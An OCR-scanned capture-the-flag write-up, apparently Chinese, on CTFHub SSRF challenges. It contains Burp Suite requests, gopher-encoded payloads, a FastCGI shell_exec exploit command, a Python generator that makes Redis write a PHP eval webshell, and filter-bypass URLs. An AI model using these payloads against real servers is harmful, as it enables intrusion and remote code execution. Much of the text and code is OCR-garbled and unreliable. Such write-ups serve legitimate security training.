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Request Response
jRawT Params T Headers I Hex ] jRaw T Headers I Hex ]
pET fPurl=file: ///var/www/htnl/flag. php HTTP/1.1 i HITE/1.1 200 QK
Host: challenge-b80leddlalda®65h. sandbox. ctfhub. com: 10800 @ Server: openresty/1.19.3.2
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4:; =64; rv:89.0) Gecko/20100101 Date: Wed., 11 Aug 2021 08:36:06 GHT
Firefox/89.0 Content-Type: text/html; charset=UTF-§
Accept: text/html, application/zhtml+znl, application/=ml;q=0.9, inage/wehp, */*;q=0.8 Comnection: close
Accept-Language: zh—CIN, zh;g=0. 8, sh-TW;q=0. 7, zh-HE; g=0. 5, en-US ;g=0. 3, en; g=0. 2 ¥-Powered-By: PHPF/5. 6. 40
Apcept-Encoding: gzip., deflate Aeccesz-Control-Allow-Origin: *
Comnection: close Access—Control-Allow—Headers: X-Requested-With
Upgrade—Insecure—Requests: 1 Access—Control-Allow-Methods: #*

Content-Length: 59

<php
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http://challenge-469ad23c1d979844.sandbox.ctfhub.com: 10800

00:29:40
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arget I Proxy T Spider IScanner Tllltludel T Repeater ISequence

E -

arget | Positions T Payloads TOptinns }

EJ Payload Positions

Configure the positions where payloads will be inserted into the b
details.

Attack type: [ Sniper

GET /Purl=127.0.0.1: § 8000 & HTTP/1.1
Host: challenge-469ad23c1d979844. sandbox. ctfhub. com: 1
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winfd; =64;
Accept: text/html, application/zhtml+=ml, application/x
Accept-Language: zh—CH, zh;q=0. 8, zsh-TW,; g=0. 7, zh-HE ; =0
Accept—Encoding: gzip. deflate
Comnection: close
Upgrade-Insecure-Requests: 1
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3.7 T HA K 8000-9000/) % %%, HIEEJTH, 8163

CI TR TR vivies

R R R Iee H]

Ve

‘arget I Proxy T Spider T Scanner

Intruder | Repeater | Sequencer | Decoder

E -

‘arget | Positions | Payloads

Attack Save Columns

Comparer

Extender | Project opi

_[ Results I Target I Positions T Payloads I{)ptions ]

»| Payload Sets
'_J Filter: Showing all items
You can define one or more
and each payload type can | Request | Payload | Status Emor | Timeout | Length v
S]] 8163 200 L] [ 360
Payload set: |1 0 200 0 0 37
e - 1 8000 200 O O 327
Payload type: | Simple list
; 2 8001 200 O O 327
3 8002 200 O O 327
EJ Payload Options [Simp|| 4 8003 200 d a3
- _ 5 8004 200 O O 327
This payload type lets you (| o 8005 200 0 0 127
: 7 8006 200 O O 327
Paste | | 8000 8 8007 200 g 0 327
| BOD1 —
Load ... 8002 Request | Response 1
R—. 8003
LJ"KWE 8004 jRaw T Headers I Hex ]
| | 8005 HITP/1.1 200 OK
L__EEEEL__J 8006 Server: openresty/1.19.3.2
Date: Wed., 11 Aug 2021 08:53:26 GMT
Add | Enter a new Contenthype: text/html; charset=UTF-8
|Commection: close

—

Add from list .

X-Powered-By: PHF/G. 6. 40
Tips: Port = [B8000,9000)
Access—Control-Allow-Origin: *
Access—Control-Allow-Headers: X-Requested-With
Access—Control-Allow-Hethods: *

= : Content-Length: 32
g Payload Processing |~o"t®"1nE SE s

ctfhub {BecT31a211e2fG50e082d309}
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HITP/1.1 200 OK

FET /7url=127.0.0.1/flag. php HITP/1.1 i

Host: challenge—fZhddfhil1df63a78. sandbox. ctfhub. com: 10800 ™ Server: openresty/l.19.3.2

User—Agent: Mozilla/5.0 (Windows HT 10.0; Win64; =64; r+v:89.0) Gecko/20100101 Date: Wed, 11 Aug 2021 09:02:50 GMT
Firefox/89.0 Content—Type: text/html: charset=UTF-3
Accept: text/html.application/zhtml+zml, application/zml;q=0. 9, image/wehp. #/#; q=0. 8 Content-Length: 131

Accept-Language: zh—CHN, zh;g=0. 8, zh—T¥;g=0. 7, zh-HE; g=0. 5, en—U5 ; g=0. 3, en; g=0. 2 Commection: close

Accept-Encoding: gzip. deflate X-Powered-By: PHP/5. 6. 40

Comnection: close Vary: Accept—-Encoding
Upgrade-Insecure-Requests: 1 Access—Control-Allow—Origin: *

Access—Control-Allow—Headers: X-Requested-With
Access-Control-Allow-Methods: *

<form action="/flag.php” me+hod="post”>

<input type="text” name=", 7- £|| ’f_j"‘r"'_fh:,pi—
I— Debug: key=8elbadSelblswete 7}3]1’35 fﬁ}i?)ﬁ’.{ —u
</form>

4. BA1E s —ANPOSTER. THHNRREARKPOSTER, HHLUMEHNEPOST, £/ FHIXLEKK
REEH,

POST /flag.php HTTP/1.1

Host: 127.0.0.1:80

Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=8elbad5e0bPe59ce4b8f401fc6ldedef

5.k & Content-LengthfF &, WAMIRKIPOSTIERKE—#E, ARERBMEAT . ETRBINELZXANMPOST
HRFAT —IKURLZAY -

POST%20%2Fflag.php%20HTTP%2F1.1%0AHOost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application%2Fx-www-form-url
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POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHOSst%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-fo
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&« C O & challenge-ec69b331125adb36.sandbox.ctihub.com:10800/7url=127.0.0.1/index.php?u
HTTP/1.1 200 OK Date: Thu, 12 Aug 2021 07:16:16 GMT Server: Apache/2.4.25 (Debian) }* :Z’mrﬁnFrln;-.;",—}}!-,’;gﬁ'rjPlS
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http://challenge-800b39a5382e13b1.sandbox.ctthub.com: 10800

00:29:02 o N E
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&« C O 8 challenge-800b39a5382e13b1.sandb:

Upload Webshell

.. | e,

2. bAEI RIRH bR, B TIEE, Hi—1

HEE HTML
<htmlx>
<head></head>
w <body>
Upload Webshell
w <form action="/flag.php" method="post" enctype="multipart/fa

<input type="file" name="file">»
<input type="submit" name="submit"»

. R

S.BEME LfE— N HEE
&« C O 8 challenge-800b:
Upload Webshell
webshell .html.jpg T
S AR

4 f# FburpsutieBEE — T, BEHEK X8

T46TE227140532112573885107383
Content-Disposition: form—data; name="submit”
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Go Cancel < |r > |

Request

J RawI Params T Headers I Hex }

POST /flag.php HTTP/1.1

Host: challenge—800h39a0382e13bl. sandbox. ctfhub. com: 10800

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64; 1rv:89.0) Gecko/20100101
Firefox/89.0

Accept: text/html, application/zhtml4znl, application/zml;q=0.9, inage/wehp, */*; q=0. 8
Accept-Language: zh—CHN, zh;q=0. 8, zh—TW; q=0. 7, zh—HK ; ¢=0. 5, en-US5 ; ¢=0. 3, en; q=0. 2
Accept—Encoding: gzip, deflate

Referer:

http: //challenge—800b39a5382:13b1. sandhox. ctflub. com: 10800,/ Purl=127. 0. 0. 1/f1lag. php
Content—Type: multipart/form—data;

houndary T4ETEZ27140532112573885107383

Content—Length: 437

Origin: http://challenge—800b39a5382e13b1. sandbox. ctfhub. com: 10800

Comnection: close

Upgrade—Insecure-Requests: 1

Pragma: no—cache

Cache-Control: ne-cache

T4678227140532112573885107383
Content-Disposition: form-data; name="file”; filename="webshell .htuml. jpg”
Content—-Type: image/jpeg

W — A S RS AT, SR ) ! <php phpinfol) ;9> \,.._:_:', Uy B E i
T4ETB227140532112573880107383— )

6.payload

/?url=gopher://127.0.0.1:80/_P0ST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520challenge-800b3

7 1% Fpayload3k & flag

&« C O 8 challenge-800b39a5382e13b1.sandbox.ctfhub.com:1(

HTTP/1.1 200 OK Date: Thu, 12 Aug 2021 07:56:10 GMT Server: Apache/2.4.25 (De
Type: text/html; charset=UTF-8 ctfhub{de9c14f5e9772d6f5e88ccc . i mymirimi

Al
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https://blog.csdn.net/mysteryflower/article/details/94 386461

2.Fic B — /N A Hb 5 W 348 B hexdumpZE gl B B

# nc — 0 |hexdump —C > lqmﬁmﬁﬁ-

listening on [any]

3.1 FHexp AT T Har @ RAER—MERE

python2 FastCGI_exp.py -c "<?php var_dump(shell_exec('ls /'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR
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import urllib
bfrom flask import F1

[1] + ztr_dealed[i+1]
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7 B Fcatin 4, $2-6:515 flagcft:, 3kEflag

110800/?url=gopher.//127.0.0.1:9000/ %2501%2501%:25a

33) "ctfhub{d81795fb284ece1b88577f5f} " ¢ @

[T b

+. Redis

1.redisfn 4, =E THE A2

flushall

set 1 '<?php eval($_GET["cmd"]);?>"
config set dir /var/www/html
config set dbfilename shell.php
save

2. L3R BB B A

import urllib
from urllib import parse

protocol = "gopher://"
ip = "127.8.8.1"
port = "6379"
shell = "\n\n<?php eval($_GET[\"cmdy"]); ?>\n\n"
filename = "shell.php”
path = "/var/www/html"
passwud = ™"
emd = ["flushall”™,
"set 1 {}".format(shell.replace(™ ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),

"save"
1
if passwd:
cmd. insert(@, "AUTH {}".format(passwd))
payload prefix = protocol + ip + ":" + port + "/_"

CRLF = "\rin™

def redis_format{arr):
redis_arr = arr.split(™ ")
cmd_ = "7
cmd_ += "*" + str(len(redis_arr))
for x_ in redis_arr:

cmd_ += CRLF + "$" + str{len{(x_.replace("${IF5}", ™ "}))) + CRLF + x_

cmd_ += CRLF
return cmd_

if __name__ == "_main__
paylead = ""
for x in cmd:
payload += parse.quote(redis format(x)) # urldR%
payload = payload prefix + parse.quote(payload) # HRurlig®
print{payload)

3.1217 J5 4 Hipayload

.replace("${IFS}", "

o (LI
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%252A1%250D%250A%25248%250D%250Af1ushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%

4 1% i payload e ¥ 3 2% o _E A& — )15

gopher://127.0.0.1:6379/_payload

5.#Eshell k47 iy & & Wflagsc i

y.com:10800/shell.php?cmd=system(’ls /*);

bk |

€ Procfile bin boot dev dump.rdb etc flag_3df50bbcdc01273ba31c1a4671169b4a g

PAS\#

6. & F& flag3 3k Hiflag

2 A

corm:10800/shell.phpfcmd=system('cat /flag_3df50bbcdc01273ba31ciad

 ctthub{a74f0639097e472c4f13c357) ¢mvéAs\é

J\+ URL Bypass

o A

1.8 fnip.io, XA —ANdnsEHr M55 1 www.oxx.com.1.1.1.1.nip.io, £f@EHrAN1.1.1.1

2.4 i payload

Purl=http://notfound.ctfhub.com.127.0.0.1.nip.io/flag.php

3 .18 F payload3k#5flag
Go Cancel < |v > |
Request

J RawT Params T Headers T Hex }

Target: http:/ichallenge-£

Response

j Raw | Headers | Hex |

BET /?url=http: //notfound. ctfhub. com. 127. 0. 0. 1. nip. io/flag. php HITP/1.1
Host: challenge—8eb850a64abfaded. sandbox. ctfhub. com: 10800

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64; rv:89.0)
Gecko/20100101 Firefox/89.0

Accept:

]

Accept-Language:

zh—CH, zh;q=0. 8, zh-TW;g=0. 7, sh—HEK ; g=0. 5, en-U3;g=0. 3, en;g=0. 2
Accept-Encoding: gzip., deflate

Comnection: close

Upgrade-Insecure-Requests: 1

Ju. F=IP Bypass

text/html, application/zhtml+znl, application/zunl; g=0. 9, inage/webp, */* g=0.

L

HTTP/1.1 200 OK

Server: openresty/1.19.3.2

Date: Fri, 13 Aug 2021 07:08:30 GNT
Content-Type: text/html; charset=UTF-3
Connection: close

X-Powered-By: PHP/S. 6. 40
Aecess—Control-Allew-Origin: *
Access-Control-Allow—Headers: X-Requested-With
Access-Control-Alleow—Methods: *
Content-Length: 32

ctfhub {04efbdibc293ui 1 (b LB TR
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Z{=IP Bypass

http://challenge-98424f164bb979d6.sandbox.ctfhub.com: 10800

00:29:08
2.18127.0.0. 1 8 FIP
Flzaisn
127.0.0.1
Ll =

2130706433

3.4 i payload

Purl=http://2130706433/flag.php

4 {§ Fpayload#kf&flag
Go | [ cancel < |v > >
Request

jRaw | Params | Headers | Hex |

EEERAERD: =100 &85

-
R

Target: http://challenge-98424f164bb

Response

jRawI Headers | Hex |

GET /7url=http://2130706433/flag. php HTTP/1.1

Host: challenge-93424f164bb979d6. sandbox. ctfhub. com: 10800

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4: =64; rv:88.0) Gecko/20100101
Firefox/89.0

Accept: text/html, applicatien/zhtml+zml. application/znl;g=0. 9. image/webp, */* g=0.8
Aecept—Language: zh-CH, zh;g=0. &, zh-TW; g=0. 7, zsh-HE ; g=0. 5, en—US; gq=0. 3, en; g=0. 2
Accept—Encoding: gzip. deflate

Commection: close

Upgrade-Insecure-Requests: 1

+. 3028k¥: Bypass
1ARYE R B 3R 2R 1RV 19127.0.0.1, 75 B A 30233 1T Bk

T

HITP/1.1 200 OK

Server: openresty/1.19,3.2

Date: Fri, 13 Aug 2021 07:16:05 GMT
Content-Type: text/html: charset=UTF-3
Comnection: close

X-Powered-By: PHP/5. 6. 40
Access—Control-Allow—Origin: *
Lecess—Control-Allow-Headers: X-Requested-With
Access—Control-Allow-Methods: *
Comtent-Length: 32

VA o werrAn
ctfhub {d4314d57ndﬁ‘6;=.;1 JL—U E&l’s"ﬁi’rj - JJ 1



302845 Bypass

FrE£m: 30

BEEZERD: £M:100 &8585

http://challenge-45e2a3e063804a169.sandbox.ctfhub.com: 10800

00:29:04

2.352127.0.0.138F — M5k localhost 4 fkpayload

?url=localhost/flag.php

3.f# Fpayloadikf8flag, XEMREE S LB 2HED
Cancel < |

Request

> |

_[Raw | Params | Headers | Hex |

L

Target: http:/ichallenge-45e2ae06380«

Response

jRaw | Headers | Hex |

BT /7url=http: //localhost/flag. php HITE/1.1

lost: challenge-45e2ae063804a169, sandbox. ctfhub. com: 10800

Iser-Agent: Mezilla/5.0 (Windows NT 10.0; Winf4: =64; rv:80.0) Gecke/20100101
iirefox/80.0

iccept: text/html, application/zhtml+xnl, application/zml;q=0. 9, image/webp, #/%:q=0. 8
tccept—Language: zh—CHN, zh;q=0. 8, zh-TW; g=0. 7, zh-HK ; g=0. 5, en-U35; g=0. 3, en; g=0. 2
iccept—Encoding: gzip. deflate

comnection: clese

Ipgrade-Insecure-Requests: 1

+—. DNSE%bE Bypass
1RIERE B 52 T+ 4 —DNSES Ee

DNSEH4S7E Bypass

FrEsm: 30

e

HITP/1.1 200 OK

Server: openresty/1.19.3.2

Date: Fri, 13 Aug 2021 07:31:36 GHMT
Content-Tvpe: text/html; charset=UTF-8
Comnection: clese

X-Powered-By: PHP/5.6. 40
Access—Control-4Allow—0Origin: *
Access—Control-Allow—Headers: X-Requested-With
Access—Control-Allew-Methods: *
Content-Length: 32

e A
ctfhub {104c071e69¢5h, 2 BN el i

BEEAERD: =100 £5:5

http://challenge-fef51c95266ef999.sandbox.ctfhub.com: 10800

[ B

00:26:42

2.18 Flock.cmpxchg8b.com ik £ g — AN E 48 52 1842

]
P )

Al127.001 |B[127.0.02

7f000001.7f000002.rbndrus

o M



3.4 I A R 3844 # i payload
?url=7f000001.7000002.rbndr.us/flag.php

4 {§ Fpayload#kf&flag

Go Cancel < |v > |

Request

jRaw T Params I Headers T Hex ]

Target: http:/ichallenge-fef51c95266ef999

Response

_[Raw | Headers [ Hex |

PET Surl=T£f000001. TE000002. vhndr. us/flag. php HITP/1.1

Host: challenge-fef5lc95266ef999. sandbox. ctfhub. com: 10800

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4: =64: rv:89.0) Gecko/20100101
Firefox/89.0

Accept: text/htnl, application/zhtml+xznl, application/=nl;q=0.9, inage/webp, */*;q=0. 8
Accept-Language: zh—CH, zh:g=0. 8, zh-TW;q=0. 7, zh-HK ; g=0. 5. en-US; g=0. 3, en:g=0. 2
Accept-Encoding: gzip, deflate

Commection: close

Upgrade-Insecure-Requests: 1

ST

HITP/1.1 200 CK

Server: openresty/1.10.3.2

Date: Fri, 13 Aug 2021 07:41:10 GNT
Content-Type: text/html; charset=UTF-8
Comnection: close

X-Fowered-By: PHP/5. 6. 40
Lecess-Control-Allow—Origin: *
Access—Control-Allow-Headers: X-Requested-With
Access—Control-Allow-Methods: #
Content-Length: 32
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http://mp.weixin.qq.com/s?__biz=Mzg2MjAyMTczMw%253D%253D&chksm=ce0f771ef978fe08264d168ab3635d39293931491a6b68ad667b3339e2487adb3bd4885001bc&idx=1&mid=2247484948&scene=21&sn=fe57b078fd642588ab9b8100b4e23d86#wechat_redirect
http://mp.weixin.qq.com/s?__biz=Mzg2MjAyMTczMw%253D%253D&chksm=ce0f744cf978fd5a73179037f5d539b9352eb5e6488b06fee1b46ed7dde2eea2e36784124be3&idx=1&mid=2247484742&scene=21&sn=bf169c988546d6d710475be0e9be3fff#wechat_redirect
http://mp.weixin.qq.com/s?__biz=Mzg2MjAyMTczMw%253D%253D&chksm=ce0f75a6f978fcb0b99fce038c6f5db3fbe5fa53918795bd3173c1ee6e827db8aca2d342effa&idx=1&mid=2247484588&scene=21&sn=a63a8b79f7e4e50b50267c60c85ef140#wechat_redirect
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